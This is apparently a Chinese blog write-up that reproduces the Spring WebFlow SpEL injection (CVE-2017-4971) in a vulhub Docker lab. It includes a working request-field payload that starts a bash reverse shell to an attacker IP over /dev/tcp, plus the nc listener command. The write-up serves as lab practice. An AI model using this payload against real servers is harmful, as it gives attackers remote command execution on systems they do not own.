Spring-WebFlow远程代码执行漏洞(CVE-2017-4971)


Spring-WebFlow远程代码执行漏洞

漏洞简述

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

影响版本

Spring WebFlow 2.4.0 - 2.4.4

环境搭建

cd /vulhub/spring/CVE-2017-4971
docker-compose up -d

漏洞复现

打开http://192.168.3.151:8080

image-20220506170325448

点开login

image-20220506170405556

在这里用他给的账号登录

进入之后打开http://192.168.3.151:8080/hotels/1

image-20220506170833403

预约

输入信息后点击这个

image-20220506171056518

然后点击Confirm

image-20220506171403884

抓包

image-20220506171423970

构造payload

&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.3.134/4444+0>%261")).start()=vulhub

设置监听

nc -lvvp 4444

image-20220506172837432

然后放行端口

image-20220506172851423

显示500

连接成功!

image-20220506172919030

结束!!


文章作者: Broken-year
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Broken-year !
  目录